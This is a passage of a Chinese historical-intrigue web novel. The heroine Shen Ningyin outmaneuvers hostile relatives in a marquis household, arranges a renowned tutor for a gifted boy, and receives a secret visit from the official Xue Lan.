薛岚略一思忖，便也没有再追问，嘱咐了句：“皇城司但有探查，也不必担心。”
沈宁音正要松口气，薛岚又从怀里将一枚巴掌大的令牌扔给沈宁音：“这是本司的令牌，你且收着。”
他一抛，沈宁音连忙接住，生怕扔地上给摔碎。正当她欲开口询问，薛岚先道：“烛哥儿缺个伴读，我上卞家借了个，另外，找了两个护卫，你且安排下食宿。”
“……”沈宁音很有点错愕。这人说来就来也便罢了，怎么安插人手也不同她这个宅邸女主子商议一二。
见薛岚转身要走，沈宁音连忙开口：“等一下！”
她走到他面前，四目相对，薛岚垂着眸看她，目光无声覆没，竟有说不出的威严。
沈宁音质问与拒绝的话一时卡在了喉咙里。
一个呼吸后，薛岚蹙眉：“听话。”
“？”
人走了，跟来时一模样。
沈宁音反应过来提着裙摆要追出去，她听着有脚步声回来，推开门正要开口——
“少夫人。”春渠微笑：“事儿办妥了。”
“……”沈宁音看了看春渠与兰香，目光却越过她们往周遭逡巡一圈。
人走了，快得离谱，沈宁音从前极少接触这些个高手，如今一瞧，前世委实还是见识少了。
“少夫人，可还有什么要补充的吩咐？”春渠到底是刚提拔上来，经验少，这会儿给她看得有几分忐忑起来。
“没什么。”沈宁音抿唇，转身回到房间，原想叫兰香去送信，但一想到沈夫人，她怕兰香应付不来，沈宁音将信捏在手里，目光最终落在了春渠脸上：“春渠，你回一趟侍郎府，这封信一定要交到我爹手里。”
“是。”春渠见她这般神色，也郑重地把信贴身收好。
等人走了，沈宁音揉了揉突突直跳的太阳穴，事儿本就多了，薛岚还要来横插一脚，但他安排的事，也不能真就不管，沈宁音只好未雨绸缪：“兰香，去收拾几间客房出来，就在旁边儿的跨院儿好了。”
若远了，照顾不到，再者，薛岚安插进来的人可不是寻常人，谁知道是个什么脾性？沈宁音给放在眼皮子底下，也方便拿捏。
傍晚时分，几个大丫鬟都相继回来复命，秦耀阳这次没来服软，沈宁音也不在意。这次她要是忍气吞声，那往后就没人将她的感受放眼里了。
沈宁音只等着看那陈五娘是不
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是个聪明的，寻常人家做客的，必是要上主家女主人处说话的，但凡陈青霜是个知礼的，她今日也得来祁秀院见一见沈宁音。
可她没来。
兰香看沈宁音像个没事儿人一样写着今儿报上来的账目，她有些愤愤不平地道：“少夫人，那陈五姑娘好生无礼，以为勾着了二爷的魂儿就能耀武扬威了，要不奴婢领几个人过去给她些厉害吃吃？”
听到这话，一旁的春渠眼眸一亮，露出跃跃欲试的表情来。
沈宁音头也没抬：“不急，她来了便是客人，我若做些什么，妨碍本夫人的名声，她又是世子带回来的，我若这会儿给她吃挂落，世子只会变本加厉护着。”
沈宁音今生可是要贤妻的名声，她不可能忍气吞声，但目下打这个脸，也属实得不偿失。
不一会儿，去拿膳的染竹领着丫鬟们回来了。
看着她们空空的托盘，兰香眼睛都瞪圆了：“染竹，这是怎么了？”
染竹欲言又止，抿着唇委屈得眼圈泛红。
沈宁音察觉异样，抬起眸子，素手阖上了账册：“饭呢？”
染竹这才“噗通”跪下，声音带着点鼻音：“少夫人，厨房那边不给放饭，说是咱们去迟了，饭菜都没了。”
兰香气红了脖子：“少夫人，定是膳房那些个黑心烂肝的东西吞了银钱！咱们府邸好歹还有那么多铺子，岂会连食材都准备不齐？”
“而且往日里怕人太多，咱们祁秀院每次都是迟滞一刻钟再过去拿饭菜的！染竹去得也不算误了时辰啊！”
沈宁音嘴角弯了弯，眼神里带了几分嘲讽，她站起身，漫不经心地理了理厚实的披帛：“她们就是故意不给饭的。”
“什么？！”兰香不敢置信，很快她捋起袖子：“春渠，走！咱们去收拾她们！”
染竹也擦干净泪花，咬咬牙：“她们欺人太甚！奴婢去松鹤堂告诉老夫人！”
沈宁音轻笑一声：“别去了，都回来！”
“凭什么！？”兰香胸膛起伏，气得跺脚：“她们这么欺负咱们，难道要忍气吞声？”
几个丫鬟都是一脸气愤与委屈。
“自然不能忍着。”沈宁音递过去一记安抚的眼神：“莫生气，气出病来无人替。再者……”她话锋一转：“你们就算去膳房，怕是也搜不出东西来。”
兰香听完愣住。
沈宁音道：“这昌平侯府，再如何我也掌控过一些时日，如今即便惹了世子与松鹤堂那边不快，账目中馈也还在我手里攥着。膳房的人不是傻子，哪里能如此明目张胆，所以，定不会叫你搜出什么吃食的。”
“你要不信，尽可以去搜。”
兰香的精气神整个都耷拉下来了，咬牙：“那咱们上松鹤堂找是老夫人去！”
告状更没用，沈宁音冷笑：“若没人授意，膳房里的奴婢敢做这等事？”
“那怎么办？难道要饿着肚子么？”屋内一时陷入了愁云惨雾。
唯独沈宁音还笑得出来，她轻笑一声：“委屈谁也别委屈自个儿。”
她冲兰香挥了挥手：“去我那箱子里头拿出银票来，上最好的酒楼置办一桌席面，咱们今日打打牙祭。”
137. 霜回
松鹤堂。
老夫人年岁大了，瞌睡少，早早便起了身。仆婢们殷勤伺候着她洗漱，梳妆。
梳头的丫头手指一抖，脸色瞬间就忐忑不安。老夫人略略转眸，就从铜镜内瞧见丫鬟手里的梳子上，挂着一缕白。
“老太君！”丫鬟感受到目光，连忙跪了下去。一旁的杨嬷嬷连忙踢了丫头一脚：“粗手粗脚的！这点事儿都做不好！”
眼瞧着要给重罚，丫头连连磕头讨饶。
许是今日老夫人心情还算不差，开口道：“罢了，让她下去吧。”
丫鬟喜极而泣，千恩万谢地出去了。
“以后给她安排去屋外伺候，别进前了。”老夫人浑浊的目光落在白发之上，枯槁的手指搓了搓，眼神里有几分力不从心：“我老了，这府邸也撑不住几年了。总归不能叫昌平侯府在我手里败落下去。”
杨嬷嬷不似方嬷嬷那般的性子，听着老主子的话也不敢出声。
老夫人将白发搁在妆镜前，淡声问：“祁秀院那边儿如何了？沈宁音可知错服软了？”
饿了一夜，老夫人琢磨着，今儿请安，也该一早就过来才是。
杨嬷嬷有些难以启齿，顿了顿才小声回禀：“不曾……”
“哦？”老夫人皱紧了眉头，转头去看杨嬷嬷：“不是说，祁秀院已经派人给那陈五娘送被褥，还派了人过去伺候？”
“是。”杨嬷嬷低眸，呐呐：“按说，二少夫人都肯低头了，您敲打她，她也该顺着台阶过来认错。可昨晚……”
老夫人脸色一时难看起来：“说下去。”
杨嬷嬷只是站在那儿就能感觉到老夫人积蓄的恼怒，她将脑袋埋得更低，生怕接下来的话遭了迁怒：“奴婢听说，昨儿碎月楼往角门儿送了一桌子席面……”
也不必杨嬷嬷说下去，老夫人哪有不明白的，她攥着佛珠的手一紧：“岂有此理！”老夫人抓着佛珠要往桌上猛拍，拍到一半又到底想起了这是佛门的物件儿，她恼火地薅起旁边的青花瓷瓶用力砸在了地上。
碎瓷飞溅，割破了杨嬷嬷的手背，她也不敢吭声。
“沈宁音！真是反了天了！”
松鹤堂里头，老夫人雷霆狂怒的时候，沈宁音也刚起床不久。
倒不是她也瞌睡少，纯属是给人闹的。
“我不依！凭什么你要随意安排人住我那儿去！”女子的声音带着哭腔，眼睛红彤彤的，仿佛受了天大的委屈。
沈宁音端着茶水，红唇吹着，心思显然并没放在眼前的梁玉霜身上。
“沈宁音！你说话！”梁玉霜想上前，眼疾手快的春渠直接将她手臂反剪，漂亮水嫩的脸蛋直接给压在了桌子上。
听着梁玉霜吃痛的尖叫，沈宁音终于从早起神游的状态里回神，淡声道了句：“梁姑娘见谅，春渠她素来对没规矩的人也没什么轻重。”
梁玉霜好生气，可是春渠在她这儿阴影太重，她一想到从前，整颗心都阵阵发毛，也不敢喊了，嘴唇嗫嚅着：“我……我知道了，放开我……”
沈宁音眸光扫了她一眼，冲春渠挥了挥手。
终于恢复自由的梁玉霜，心有余悸地往远着春渠的方向挪了两三步，这才红着眼圈看向沈宁音：“沈……啊不，少夫人，跨院儿我本就住着不习惯了，你还往里头添人。”
梁玉霜委屈得不行，往沈宁音身边儿赶了几步：“你家不是侯府么？侯府这么大宅子，哪里住不得人？”
“放肆！”兰香柳眉一竖：“少夫人做事，岂容你这贱蹄子置喙？！”
“你说谁是贱蹄子！”梁玉霜怕归怕，但似乎在一些特定的角度，对身份脸面看得极重。
沈宁音有些意外，这女子能忝着脸住在侯府这么些时日，却又极在意别人贬低她的身份。
不过，相较其他人来讲，梁玉霜这些日子还算安分，她并不打算计较。便挥了挥手示意几个丫鬟先出去。
屋子里安静下来，炸毛一般的梁玉霜独自面对不笑的沈宁音时，反而有种毛骨悚然的畏惧：“你……你干什么？”
沈宁音也不喝茶了，一双乌沉沉的眸子只盯着她的眼睛。
两三个呼吸后，梁玉霜慌乱到想要拔腿往外跑时，她终于听着了面前主母的嗓音。
“本夫人原是忘了，跨院儿里还住着一个你。”
梁玉霜吞了吞唾沫，惊疑不定地捏着衣角：“什么意思？你怪我咯？”
话一出口，梁玉霜心里的委屈突然又占领了高地，她揪着胸口的衣襟，眼泪吧嗒吧嗒顺着香腮往下掉：“那天秦耀阳扔下你又不是我的错！也不是我逼他抱我回屋的！”
“还有！你别以为我不知道！秦世子根本没与你圆房！”梁玉霜指着沈宁音悲愤道：“你一个做妻子的，连丈夫的身心都得不到，就只会怪别的女人么！？你愚昧！你无知！你们这些深宅古板的女人，就知道雌竞！”
沈宁音看着她，也不反驳，连眼波都没一丝变化。只等梁玉霜安静下来，她才无波无澜地开口：“说完了？”
“……”梁玉霜看她态度这般平淡，眼底透着不可思议，但很快，她竟露出一抹同情的表情，似是在可怜沈宁音：“不说旁的，秦世子至今还是童男子，你就不怕他不行？你还这么淡定？”
沈宁音心下有点想笑，在她眼里不近女色，甚至不跟妻子圆房的男人，背地里兼祧两房，儿子都六岁了。但这些事，自不必同梁玉霜说道，沈宁音理了理袖子，看向梁玉霜：“梁姑娘，此事与你无关，我今日留你下来，只朝你讨一句话。”
梁玉霜呼吸重了几分，紧张地看她：“什么？”
“你日后怎么打算的？”沈宁音问。
晨光熹微，窗外的光线蓦地明媚起来，梁玉霜有些晃神，似在思考她的问题。
沈宁音补充道：“你是要回凉州城，还是要长长久久地留在侯府？”
她将“长长久久”四个字咬得很重。
梁玉霜抬眸，眼里有点迷茫，
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她大约是没明白暗示。
沈宁音只得再露骨些：“昌平侯府可没有未出阁的姑娘家，能有的，只是丫鬟和妻妾。”
从梁玉霜先前对贬低她身份言语的激烈反应看，她绝无可能真愿意做个奴籍的丫鬟的。那么，另一个身份呢？是否是她想要的？
沈宁音盯着她的眼睛，没放过梁玉霜每一个细微的表情。
梁玉霜听到沈宁音的话，眸光内原本有一抹惊喜，但很快，她就陷入了纠结。
沈宁音也不催促，等了她好一会儿。
“我要回家。”梁玉霜的回答分外地出乎意料。
梁玉霜瞧见沈宁音惊诧不解的表情，她很有点儿恼火：“你这算什么表情？”梁玉霜抄着手皱眉：“秦世子的确够好，又是个清白的身子，我还挺动心的，可是要我当小老婆，我可不干！”
似乎是怕沈宁音看低了自己，梁玉霜挺了挺胸膛：“我留在这儿可不是为了旁的，我也是没法子。外头一群人要抓我……”梁玉霜意识到自己说漏了，连忙捂住嘴唇惊慌地看向沈宁音。
沈宁音心下一动，却是笑了笑：“我这儿不是衙门，你不用担心。不过……日子长了，会不会被人给找上来，本夫人就不保证了。”
周婉上次用了那个膝盖软垫敷衍演戏，传出去，名声就要臭了。这会儿最想找到梁玉霜的就是她。
“替我做一件事。事成之后，无妨你是要做妾，还是回凉州城，本夫人都应了你。”
“好！”梁玉霜想也不想就答应了，又道：“我回凉州城！”
“不后悔？”沈宁音嘴角微勾：“快入冬了，本夫人正好要筹措两支商队雇佣镖局行商去，你若是一道走了，往后要回来可就天远地远了。”
梁玉霜听了，很有点纠结，半晌一咬牙：“我去凉州城。这地方太危险了，不如凉州城自在。”
沈宁音略略颔首，打发梁玉霜下去了。
看着梁玉霜的背影，沈宁音有点感慨，这女人冒冒失失，看起来很无脑，这等时候，却误打误撞挑了最聪明的去处。
似梁玉霜这样的人，又是商贾，娘家又远，自个儿没什么城府的话，留下就只会被拿捏，秦耀阳再怎么紧着她，冷起来也是个最无情的。
梁玉霜一走，沈宁音便真个安排起商队的事儿来。说到底，侯府府库亏空，只要过了这个年，便要将窟窿眼给显露出来了，沈宁音重活一世，想在侯府过日子，却也没傻到要拿自个儿的嫁妆去堵无底洞的。那么就只剩一条道——行商。
正好，她知晓接下来非但冬日骤冷，而且明年初还会有倒春寒，上京城的皮革会水涨船高，正好派一支商队去凉州城大肆进一批。
梁玉霜又是凉州城商贾之女，这层关系却也可以攀一攀。
再就是派人去沈家与陈家探看情况。不知为何，沈宁音总觉着右眼皮在跳，似是要发生点什么。
“少夫人！”兰香突然推门跑了进来：“松鹤堂那边来人寻你过去！”
138. 先生
沈宁音昨天才在松鹤堂与人闹了不愉快，依着老夫人的性子，倘使是来为难找茬的，方嬷嬷的态度不会这么客气。
看着方嬷嬷带笑的脸，沈宁音心下狐疑。
等去了松鹤堂，见着了孙靖元，她这才懂了。
“宁音，不必多礼。”孙靖元抬手，笑着示意她起来。
孙靖元是沈宁音的启蒙夫子，教了她好几年。于孙靖元，两人不过是几年没见，可于沈宁音，不论前世今生，孙靖元都算得上恩重如山。
她很清楚自家爹爹的分量，孙家那样的江东门阀，哪里能卖沈定山这样一个名声有瑕的文官面子。孙靖元能来，看的是与自己那几年的师生情谊。
“老夫人，不好了！”有丫鬟慌慌张张跑进来。
老夫人沉了脸，狠狠剜了丫鬟一眼：“大惊小怪的做什么？能有什么不好的？”
丫鬟看清屋子里的一群人，本就苍白的脸色一下子又紧张得红了起来。
“出了何事自有嬷嬷们处置，莫要惊扰了贵客。”老夫人冲方嬷嬷抬了抬下巴，示意她出去安排。
沈宁音明白，这是怕惹出点什么，叫外人瞧了笑话。
可方嬷嬷刚应了声，还没等她领着丫鬟退出去，众人就见一个小小的身影薅开垂花门跑了进来。
秦齐边跑边愤愤地哭：“祖奶奶！”他一下子扑进了老夫人怀里。众人都是大惊。
老夫人很是心疼，连忙抱着孩子哄。
周婉从沈宁音进来就一直没说话，可到了这儿，她抓着帕子的手攥紧了。
权贵家的孩儿，给夫子的第一印象十分重要，尤其是秦齐这样无法从父母处得到荫蔽的孩子，一个德高望重的老师就显得分外要紧了。
沈宁音几乎能想到自家那爹爹为了与昌平侯府搞好关系，会如何在邀请函里头不遗余力地吹捧秦齐。
“都怪红珠！那个贱婢连毽子都捡不到！气死我了！祖母快打死她！”
秦齐此话一出，整个屋子里的气氛都透着一股子尴尬。
“这就是……齐哥儿。”老夫人扯出一抹笑：“孩子年岁小，正是调皮的时候。还请孙先生莫要较真。”
孙靖元愣了下，好脾气地点点头，笑着打圆场：“无妨，无妨，既是宁音的子侄辈，又是个儿郎，淘气些也是有的……”
他话音刚落，秦齐就大喊着叫丫鬟红珠进来挨打。秦齐往日里就养在松鹤堂，老夫人事事都哄着他高兴，他自然是天不怕地不怕的。
小孩儿最会拿乔，他到了一处地方生活，便会给那儿的人排上个次序，很显然，秦齐就觉着，在松鹤堂他自个儿最大。
一眨眼的功夫，红珠就惊恐万状地跪在了地上。
沈宁音转头一看，那丫鬟头上撞破了，鲜血从发丝里沁出，顺着白皙的脸颊往下淌。红珠许是太害怕了，这会儿瑟瑟发抖，也不敢拿手捂着。
周婉、老夫人、闵氏见了，整张脸都白了。
沈宁音心里泛着冷，目光看向得意洋洋的秦齐：“齐哥儿，她脑袋怎么了？”
秦齐一听说话的是沈宁音，一对眼珠子凶狠地瞪过去：“是她自个儿摔了的！你休想诬赖小爷！”
“都是奴婢的错。”红珠颤抖得更厉害了，连忙开口附和。
沈宁音声音很轻，却是很清晰：“哦？怎么受伤的？”
“小爷的鸡毛毽子上了房顶，叫她去拿，她摔下来磕破了头，一点小事都办不好！真是气死我了！”
周婉听见这话，脸上的表情轻松起来，赶紧定性：“这丫鬟毛毛躁躁的，伺候不好主子。让孙先生见笑了。”
老夫人脸色并无缓和，拉了一把秦齐，沉声吩咐：“还不快带人下去疗伤？”
红珠被带下去时，沈宁音瞧见杨嬷嬷跟了出去。杨嬷嬷从前有一项差事就是是专门负责联络人牙子的。沈宁音抬手按了按鬓角。
沈宁音没吭声，这种时候，她若然打圆场，那就是摆明着维护秦齐。前世孙靖元为着自己帮忙冷元景已经做得太多。今生她不会让老师将来有留污点的可能。
“齐哥儿，还不快见过夫子？”老夫人笑着拉秦齐跪下磕头。秦齐转头看着孙靖元不苟言笑的冷脸，顿时就不乐意了。他挣扎扭动着身子，哭道：“我不！我要去拿毽子！”
周婉脸都黑了，沈宁音看见她目光紧紧盯着秦齐、又克制隐忍着。周婉也是能忍，沈宁音自问若是不知前世底细，这会儿只怕根本不会往那方面去想。
“大嫂，祖母拉不住，你快去帮一帮。”沈宁音抿唇提醒了一句。
周婉身子一颤，反倒下意识后退了半步，她这动作落在闵氏眼里，惹得闵氏目光带着点狐疑。不过，下一瞬，秦齐就躺在地上哭号起来。
小孩子声音尖，将所有人的注意力都吸引了过去。明明才六岁的年纪，犟起来力气很大，再加上众人都不好太使劲，几个大人都拉不住。
孙靖元素来修养良好的脸上也不禁眉头轻蹙。
秦齐闹成这样，闵氏是最气的，这孩子在她看来就是个隔房又隔代的孩子，可眼下丢的又是侯府的面子，闵氏不客气地在秦齐胳膊上掐了一下：“没教养的崽子，还不快起来！”
听着“没教养”三个字，周婉、老夫人脸色都变了。恰此时，门外秦耀阳跟昌平侯也一并走进来。
秦耀阳脸色沉得厉害，他显然是听见了母亲的话。沈宁音看他袖里的拳头攥得很紧。
“放肆！”秦耀阳大声呵斥，低头盯着地上不成体统的秦齐：“起来！”
秦齐的哭喊声默了默，看着了亲爹，他也没了气焰，只是再如何叫他磕头，秦齐却是犹犹豫豫不肯上前的。
老夫人一面哄着孩子，一面冷声斥责沈宁音：“你在旁边儿看着作甚？即便你不肯收养这孩子，你也是做伯母的！还不快过来劝着些。”
沈宁音先前不肯凑上前，态度已经很明确了，这会儿老夫人吩咐，她便也没推脱。只是沈宁音尚未走拢，秦耀阳已经忍无可忍要伸手去拉秦齐。
“今日就算了吧。”孙靖元站起身，他人很高，声音带着股子儒雅清冷。面相是极随和的，就连不悦都显得毫无攻击力。
“先生。”沈宁音见他看过来，忙走过去听吩咐。
这时的昌平侯也是觉着脸上无光，开口道：“也好，孙先生千里迢迢来府中授课，先休息两日再正式拜师。”
秦齐也不闹了，沈宁音瞥见他小脸上满是胜利的喜悦。秦齐却不知，他这一闹，就连昌平侯心里，都添了几分失望。
孙靖元略略颔首，对沈宁音道：“宁音，信上说，还有个学生？”
“是。”沈宁音略略福身：“哥儿在偏院，这会儿想是在忙。”
“小孩子嘛，是要贪玩些，咱们齐哥儿啊，至少来了的。”老夫人不动声色。
沈宁音没吭声，周婉目光瞥了眼沈宁音，嘴角微勾，开口道：“弟妹啊，烛哥儿到底是你沈家的亲戚，你也该劝着些才是。”
她们话里的意思沈宁音很清楚，左不过要踩着南烛将秦齐的恶劣形象往回找补一二。踩完还不忘将南烛的干系给划分去沈宁音头上。
沈宁音也不拆穿，温婉地应了声：“大嫂说的是。”又朝着孙靖元恭敬道：“先生可要去瞧瞧？”
孙靖元看也没看秦齐，点点头就往外走。
沈宁音朝老夫人等人拜了拜，转
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身便跟了过去。
秦耀阳见她半个字都不曾与自己说，心里很不是滋味，他下意识往门外跟了两步，忽而听见闵氏嘀咕的声音：“啧，那孙先生也就三十五岁不到吧？这般年轻，怎么能叫宁音一个后宅妇人陪着走动……”
不成体统。
秦耀阳听得神色阴沉，手背上青筋都鼓出来了，他咬了咬牙：“我去看看。”
老夫人叹了口气：“再带几个人，别怠慢了孙先生。”
周婉原本就因着秦齐的不懂事心下恼火，这会儿见秦耀阳竟要追着沈宁音去，她心下一凉，脸色白得吓人。
秦耀阳将将走出门子，就听见身后传来脚步声。不一会儿，周婉气喘吁吁地追了上来：“耀阳，我跟你一道去。”
她一上前，秦耀阳既诧异，又有点莫名的紧张。
那么多双眼睛盯着，周婉到底没敢挽上他的胳膊，她只是将耳旁的发丝别到耳后，朝着他微微一笑。
没有了歇斯底里，没有了张牙舞爪，周婉仿若又同记忆里的样子重叠在一处。
秦耀阳看得愣怔住，心脏也不争气地加速跳动。直到眼前人喊了第二遍，秦耀阳才垂下了目光：“好。”
藏锋斋，紧挨着祁秀院。
原本南烛是给安排在祁秀院跨院的，但他毕竟身份特殊，人多眼杂，实在不妥当。再加上藏锋斋有个废弃多年的书房，收拾起来比现辟一个更容易，而且离得也不算远，所以沈宁音索性将南烛安排了过去。这样一来，薛岚去看他也能方便得多。
“你可是有什么难处？”孙靖元叹了口气，蓦地转头询问。
沈宁音脚步未停，笑着摇摇头：“先生何出此言？”顿了顿，看向孙靖元的眼眸：“先生是觉着学生让家父请您出马，是寻求庇护么？”
“不是么？”孙靖元笑：“我观那齐哥儿，不像是要好生读书的样子。”
沈宁音闻言心下倒是有几分愧疚，她垂眸苦笑：“我知先生收弟子是有要求的，但学生绝无诓您过来的意思。”
孙靖元闻言一愣。
两人站在廊檐下，沈宁音道：“实不相瞒，学生遇着一个好苗子，是真心盼着先生倾囊相授的。”
“您听。”
孙靖元侧耳细听，蓦地，他听到了一阵朗朗的读书声。再听时，又听出了不一样的地方。
不是三字经，而是更为高深的书目。字正腔圆，无一错漏。
孙靖元循声望去，一个六岁的孩童背朝着这边儿，手里什么都没拿，竟是在背诵。
两人走到近前，沉浸在读书中的南烛方才察觉到，他转过身，看见沈宁音有些不好意思。但甫一瞧见一袭深衣的孙靖元，南烛便收了轻松的神色，目光好奇地看了过去。
沈宁音简单介绍之后，也不必她来吩咐，南烛就执礼恭敬地作了一揖：“见过孙先生。”
孙靖元十分满意，脸上也有了笑容，亲手扶起他的胳膊：“好，好，好。”
所谓闻琴声知雅意，沈宁音自然清楚自家先生可否满意，顿时就松了口气。
当她眼角余光瞥向来路时，不经意就发现了跟过来的几个人。
远远的，周婉红了眼圈。
秦耀阳也是心中沉闷闷地生气与羞耻。老夫人当着人家孙先生的面，说小孩子贪玩，说人家没规矩。结果孙先生看到的，却是个刻苦用功的好孩子。
两相对比，高下立判。
“小小年纪便这么装模作样，定是沈宁音教唆的。”周婉心里发酸，咬着牙低声喃喃。
秦耀阳瞪大眼睛看向身旁的女子，只觉得先前那些美好统统都作了灰，散得干干净净。他冷着脸道：“你闭嘴！”
139. 不巧
周婉瞬间红了眼眶，委屈得不行。秦耀阳还想说点什么，周婉却先道：“耀阳，你凶我作甚？当初我说叫齐哥儿去我周家族学，你不肯，如今在外人跟前丢了脸面你又拿我这妇道人家撒气？”
秦耀阳被她这般顶撞，气得想笑，抬手指着她半晌才说出话来：“这是拜谁为师的事儿？齐哥儿如今这般无礼，都是你们惯出来的！”
周婉心中愤懑，秦齐见不得光，秦耀阳素来是甩手掌柜，只偶尔见上一面逗个半柱香，因着他兼祧两房，为脸面，秦侯甚至也从不曾出面过。
周婉有怨，却也不敢当真开这个口，只能忍着。
气氛一时僵持，忽然，秦耀阳感觉远处有目光瞧过来，他知沈宁音在看自己，而此时此刻，秦耀阳莫名有种羞于见她的感觉，也不及多想，他转身急匆匆就离去了。
沈宁音自不会对秦耀阳等人过多在意。那边人一走，她便也告辞离开。
拜师一事，悬了好些天，到底是尘埃落定了。万幸的是，南烛没叫沈宁音失望，即便孙靖元这样的名士，也对他蔚为满意。
祁秀院那边，沈宁音将将坐下来不久，外头便有人来禀，说是膳房昨儿值守的丫鬟过来赔不是。
沈宁音不必看也能猜着，定是孙靖元来了，秦家有求于自己，松鹤堂这才不情不愿地推了个人来安抚自己、给自己台阶。
染竹见沈宁音头也没抬，在绣荷包，以为她没听见，又开口道：“少夫人，那丫鬟如何处置？”
“叫她滚。”沈宁音语气平淡，仿佛在说寻常事。
染竹都愣住了。
恰此时，春渠也掀帘进来：“少夫人，陈姑娘求见。”
“叫她也滚。”沈宁音连表情都无甚至变化。
“……”
两个丫鬟便一齐退出门去。
一阵风过，有声音在窗旁冷冷清清：“你倒是有脾气。”
沈宁音手一抖，鲜红的血珠沁出指尖，她连忙咬着指头尖儿抬眸，果见那薛家煞星单手撑着窗框正看过来。
沈宁音脸色一白，也顾不上旁的了，一把将人往屋里拉。
薛岚愣怔瞬息，顺从地翻了进来。
等门窗都闩好了，沈宁音这才压着情绪询问：“你怎的又来了？”
薛岚垂眸看她，目光坦诚：“卞家小六要来你府上，我过来理码一下住所。顺道摸摸那位先生的底细。”
沈宁音一听着有关孙靖元的，脸上的不满藏也藏不住：“孙先生高风亮节，名满天下，岂容你来质疑？”
薛岚颇有些意外，在他的记忆里头，眼前女子颇有城府，虽也有情绪外露的时候，却也难得有这般明显的。
薛岚语气平淡：“知人知面不知心，表面一套背后一套的也不是没有。”
“你！”沈宁音攥紧了手指，意识到自己失态，她深吸了口气：“那么查得如何？”
薛岚盯着她的眼睛，轻描淡写给出两个字：“尚可。”
“既然，此间事了，大人不妨先行离开？”沈宁音没同他客气，直接坐下端起了茶。
薛岚对她的撵人行为不以为意，提醒了句：“今日皇城司去过沈家。”
“！”沈宁音心头一颤，蓦地转眸看过去。薛岚转身就要走，她却坐不住了，抬手就拉住了薛岚的袖子，冷沁沁的语气变得软和起来，沈宁音抿了抿春，勉强扯出个笑：“大人，要不……坐下喝个茶？”
薛岚冷眸瞥了眼毫无热气的茶汤：“不了。”他手指下意识地想摩一摩腰间佩刀，可他如今穿着的是不带刀的深衣常服，一时也没有旁的配饰，竟摸了个空，他眼眸沉了沉。
薛岚素日里就冷，仿佛天生就带着股子叫人难以亲近的感觉，沈宁音有些着急，张口要留上一留。
她正寻思着至少要打听出点儿什么消息来呢，门外的丫鬟就正好回来了。
“少夫人。”兰香唤了一声。没得到回应，有人便推了推门。
沈宁音将那门闩被推动的声音听在耳里，就好似给放大了无数倍般。祁秀院里头的丫鬟不会这般没规矩，会来推门的，必不是自己人。
兰香语气有些慌：“少夫人！您没事吧？”
沈宁音正要盘算着说些话打发了外头的人，冷不丁的，门外就传来了秦耀阳的声音：“这是怎么了？”
那声音让沈宁音心脏一抽，额头沁出汗水来。早不来晚不来，怎么偏这时候来了！
门外头——
秦耀阳推了推门，又看了看天色：“这么早，你家主子闩门做什么？”
兰香站在一旁，脸色不太好看，低着眉目道：“少夫人许是在小憩。”
秦耀阳要进来，她是拦了的，可秦耀阳到底是姑爷，若铁了心要进门、又在没有自家主子的死命令之下，兰香也真不好硬拦着。
秦耀阳拍着门扉，半点儿也不似要放弃的样子。
“二爷，您要不迟些再过来？”兰香忍着想上去把人拉开的冲动，尽力控制着情绪。
“不行。”秦耀阳想也没想就拒绝了，神色里充满着担忧：“她如今怕是在气头上，迟些过来，本世子恐连院门都进不来了。”
跟在秦耀阳身后一直闭口不语的周婉，这会儿见缝插针地开口：“不如叫个人，将这门撬开。二弟妹娘家不是有个姊妹上吊了么？同是沈家人，难保她会不会气得做了什么傻事？”
秦耀阳听前半截，原本很是不悦，可等他听到后半截，心下却是惊慌起来。
“谁上吊了？”门扉蓦地从屋内打开。沈宁音的脸出现在门口时，门外的人统统都吓了一跳。
最先反应过来的，竟然是秦耀阳，他脸上露出喜色，高兴得伸手想去拉妻子的手，可伸到一半，沈宁音却是迈步让到了一旁。
秦耀阳愣了半息，缓缓放下了手。
“少夫人，您还不知道吧？弦思姑娘在沈家大门口上吊。”
“不过白绫给吊断了，没死成。”
听了兰香的话，沈宁音大惊失色，她一时不知该说些什么。可她脑子里思虑的并不是沈弦思为何上吊，而是心急如焚地思索着沈弦思上吊跟皇城司行动
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能有什么要命的关系？
“弟妹，你怎么了？”周婉的语气软了下去，竟带着关切，但即便如此，沈宁音也发现她目光总好奇地往屋子里瞧。
沈宁音稳定心神，横跨一步、有意无意地遮住她的目光：“嫂嫂又是来做甚的？莫不是来看我沈家笑话的？”
周婉闻言，注意力果然复又落在了沈宁音身上，周婉慌忙道：“不是的，弟妹岂能这般想我？”周婉红着眼圈，委屈地看向秦耀阳。
秦耀阳蹙紧眉，冷冷地别开脸去。周婉身子猝不及防颤了颤。
沈宁音将眼前之人的细致表情和小动作都尽收眼底。
但看破不说破，她也没去做那个拆穿一切的恶人。周婉抿着唇，声音低如蚊蚋：“我……嫂子是来给你道歉的。”
如今整个昌平侯府，能跟孙靖元说上话的，就唯有沈宁音一人，江东名士，名满天下，要名气有名气、要身份有身份，孙先生到了这上京，便连那昌平侯说话都不一定好使。
周婉为着儿子，自然会愿意来低这个头。
周婉表了态度，一旁别别扭扭的秦耀阳也是转过脸来，他看着沈宁音。
沈宁音看他欲言又止，心下也怕他再磨蹭半天不走，便先开了口：“世子呢？”
秦耀阳拳头僵了一瞬，半晌，男人的语气多少带了点不情愿的生硬：“宁音，你气也气了，就消一消吧？”
他继续道：“婉儿孀居多年不会说话，你别往心里去。你便有什么不悦，也别撒在孩子身上，先生那边，你就帮着劝劝？”
沈宁音看看秦耀阳，又看看周婉。
周婉满脸是乞求与希冀。
而沈宁音望向秦耀阳的时候，秦耀阳却却没来由觉着心虚，他避开了目光。
沈宁音弯了弯唇角，出人意料地好说话：“世子将妾身当什么人了？些许事情，莫说齐哥儿处，便是大嫂的话，妾身也不会计较的，至于劝说，妾身相信孙先生不会有失偏颇的，先生的为人妾身很清楚，最是刚正不阿重规矩。但凡收下，也是一视同仁。”
周婉闻言，细细打量沈宁音的神色，见她目光毫无躲闪、很是认真，周婉这才放了心，也不枉她一路哭着将秦耀阳拉过来说项。
秦耀阳眉梢眼角的紧绷也松快了许多：“这便好了。”
事儿了了，秦耀阳却似乎没要走的意思。周婉等了一等，最后只得攥紧帕子：“那，我便先走了，二弟，二弟妹，你们先聊。”
“？”沈宁音暗觉不好。
果然，下一瞬，秦耀阳已经走上前。
他伸手想握住妻子的手，可大抵是想着周婉还没走远，秦耀阳便将手背到了身后，放软了语气：“宁音，气性这般大？陈五姑娘过来你也不见……我又不是那等风流的，真没想要了她。”
“……”沈宁音不吭声，脑子里思忖着如何将他先送走，毕竟身后屋子里还有个不省心的。
